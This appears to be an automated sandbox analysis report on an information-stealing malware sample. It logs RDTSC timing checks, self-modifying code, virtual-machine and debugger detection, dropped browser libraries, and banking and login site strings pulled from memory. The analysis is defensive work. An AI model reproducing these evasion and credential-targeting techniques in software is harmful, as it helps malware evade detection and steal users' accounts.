Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2CB802 second address: 2CB850 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007F7E0935AD5Eh 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 popad 0x00000015 jne 00007F7E0935AD69h 0x0000001b popad 0x0000001c mov eax, dword ptr [eax] 0x0000001e push esi 0x0000001f push eax 0x00000020 push ebx 0x00000021 pop ebx 0x00000022 pop eax 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 pushad 0x00000029 push ecx 0x0000002a pushad 0x0000002b popad 0x0000002c pop ecx 0x0000002d pushad 0x0000002e push ecx 0x0000002f pop ecx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2CB850 second address: 2CB8B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pop eax 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007F7E090B9408h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 00000019h 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 movzx esi, di 0x00000024 push 00000003h 0x00000026 push 00000000h 0x00000028 push 00000003h 0x0000002a push 00000000h 0x0000002c push eax 0x0000002d call 00007F7E090B9408h 0x00000032 pop eax 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 add dword ptr [esp+04h], 00000018h 0x0000003f inc eax 0x00000040 push eax 0x00000041 ret 0x00000042 pop eax 0x00000043 ret 0x00000044 movsx esi, dx 0x00000047 call 00007F7E090B9409h 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2CB8B3 second address: 2CB8C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E0935AD62h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2CB8C9 second address: 2CB8CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2CB8CF second address: 2CB94B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a jno 00007F7E0935AD58h 0x00000010 pop eax 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 ja 00007F7E0935AD6Fh 0x0000001b mov eax, dword ptr [eax] 0x0000001d jmp 00007F7E0935AD5Ch 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 jns 00007F7E0935AD6Ch 0x0000002c pop eax 0x0000002d add edi, 4ED8ADB8h 0x00000033 lea ebx, dword ptr [ebp+124505EBh] 0x00000039 mov ecx, 78CA661Ah 0x0000003e xchg eax, ebx 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2CB94B second address: 2CB95F instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7E090B9406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 push ebx 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2EAFAD second address: 2EAFB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2EAFB1 second address: 2EAFC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F7E090B940Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2EB2A7 second address: 2EB2B1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F7E0935AD56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2EB2B1 second address: 2EB2CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F7E090B940Dh 0x0000000e jbe 00007F7E090B9406h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2EB53C second address: 2EB553 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F7E0935AD5Ah 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jp 00007F7E0935AD56h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2EB83E second address: 2EB843 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2EB843 second address: 2EB85A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7E0935AD61h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2EB9A8 second address: 2EB9AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2EBB2A second address: 2EBB3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7E0935AD60h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2EBB3E second address: 2EBB42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2EBFC4 second address: 2EBFC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2EC104 second address: 2EC10E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2EC10E second address: 2EC139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7E0935AD62h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F7E0935AD5Bh 0x00000014 push ebx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2EC139 second address: 2EC143 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F7E090B9406h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2EC143 second address: 2EC147 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2B2B2D second address: 2B2B41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E090B940Ah 0x00000007 jp 00007F7E090B9406h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2B2B41 second address: 2B2B47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2B2B47 second address: 2B2B4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2EC27B second address: 2EC2A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F7E0935AD66h 0x0000000b jno 00007F7E0935AD56h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2EC2A1 second address: 2EC2A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2EC2A6 second address: 2EC2AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2EC84F second address: 2EC85E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E090B940Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2EC85E second address: 2EC87C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7E0935AD65h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2EC87C second address: 2EC882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2EC882 second address: 2EC888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2ECB63 second address: 2ECB67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2ECCD2 second address: 2ECCD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2F04C1 second address: 2F04C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2F04C7 second address: 2F04CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2F6C76 second address: 2F6C9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 js 00007F7E090B9406h 0x0000000c jmp 00007F7E090B9410h 0x00000011 popad 0x00000012 ja 00007F7E090B9408h 0x00000018 push eax 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2F6C9B second address: 2F6CA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2F6DDB second address: 2F6DE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2F6DE0 second address: 2F6DE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2F6DE6 second address: 2F6DEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2F1ACC second address: 2F1AD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	RDTSC instruction interceptor: First address: 2F754F second address: 2F7554 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 121F9C3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 121FA7A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1453CBA instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Special instruction interceptor: First address: 14EAB9 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Special instruction interceptor: First address: 14C49A instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Special instruction interceptor: First address: 319CD5 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Special instruction interceptor: First address: 383FE7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 2CEAB9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 2CC49A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 499CD5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 503FE7 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsJEBKKEGDBF.exe

Code function: 30_2_04B007C5 rdtsc

30_2_04B007C5

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1009152001\aa08c11115.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 2528	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7164	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6260	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1444	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5536	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4832	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7128	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6220	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3748	Thread sleep count: 57 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3748	Thread sleep time: -1710000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3748	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsJEBKKEGDBF.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C96C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C96C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000025.00000002.3426301836.0000000000450000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: FCGCGDHJ.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: FCGCGDHJ.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: FCGCGDHJ.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: FCGCGDHJ.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: FCGCGDHJ.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: FCGCGDHJ.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: DocumentsJEBKKEGDBF.exe, 0000001E.00000003.2685595998.0000000000CB1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}s
Source: skotes.exe, 00000025.00000002.3428213160.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWe
Source: file.exe, 00000000.00000002.2688050453.00000000008A1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2688050453.00000000008BB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2688050453.000000000084E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000025.00000002.3428213160.0000000000D58000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000025.00000002.3428213160.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: FCGCGDHJ.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: FCGCGDHJ.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: FCGCGDHJ.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: FCGCGDHJ.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: FCGCGDHJ.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: FCGCGDHJ.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: FCGCGDHJ.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: FCGCGDHJ.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: FCGCGDHJ.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: FCGCGDHJ.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: FCGCGDHJ.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: FCGCGDHJ.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: FCGCGDHJ.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: FCGCGDHJ.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: FCGCGDHJ.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: FCGCGDHJ.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: FCGCGDHJ.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2688050453.000000000084E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: FCGCGDHJ.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: FCGCGDHJ.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: FCGCGDHJ.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: FCGCGDHJ.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: FCGCGDHJ.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: FCGCGDHJ.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2694266529.00000000013AA000.00000040.00000001.01000000.00000003.sdmp, DocumentsJEBKKEGDBF.exe, 0000001E.00000002.2719021596.00000000002D0000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 0000001F.00000002.2749674242.0000000000450000.00000040.00000001.01000000.0000000C.sdmp, skotes.exe, 00000020.00000002.2753200560.0000000000450000.00000040.00000001.01000000.0000000C.sdmp, skotes.exe, 00000025.00000002.3426301836.0000000000450000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: FCGCGDHJ.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: FCGCGDHJ.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Process queried: DebugPort
